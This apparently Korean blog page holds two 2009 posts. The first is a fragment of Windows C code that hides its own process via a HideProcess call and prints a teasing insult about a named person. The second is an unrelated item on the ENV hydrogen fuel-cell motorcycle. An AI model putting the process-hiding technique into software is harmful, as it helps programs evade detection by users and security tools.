                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 GetNativeAPIAddress();
 HideProcess(GetCurrentProcessId());

 while(1) {
  ::OutputDebugString("김호민 바보ㅋㅋ");
  Sleep(1000);
 }

 return 0;
}

2009/09/30 03:28 2009/09/30 03:28

사용자 삽입 이미지

영국의 인텔리전트 에너지(Intelligent Energy)사와 세계적인 디자인 전문기업 세이머포웰(Seymourpowell)사가 공동으로 공해를 유발하지 않고 소음이 없는 한 시제품을 생산. 엔비(ENV: Emission neutral vehicle)라고 이름붙여진 이 제품은 수소연료전지로 가는 세계 최초의 오토바이이다. 중량은 80kg정도이며 7.3초 안에 48km로 출발하고 최고 시속은 80km이다. 연료를 한 번 주입한 후 최대 주행거리는 약 160km이다. 무엇보다 매력적인 것은 물 이외에는 어떤 배기가스도 생산하지 않는다는 것이다. 또한 동력원은 휴대가능하며, 야외에서 다른 장비에 동력을 제공 할 수 있다. 오토바이가 많은 베트남이나 방콕혹은 개발도상국에 제공된다면, 지구환경에 많은 도움이 될 것으로 보여진다.

2009/09/28 10:31 2009/09/28 10:31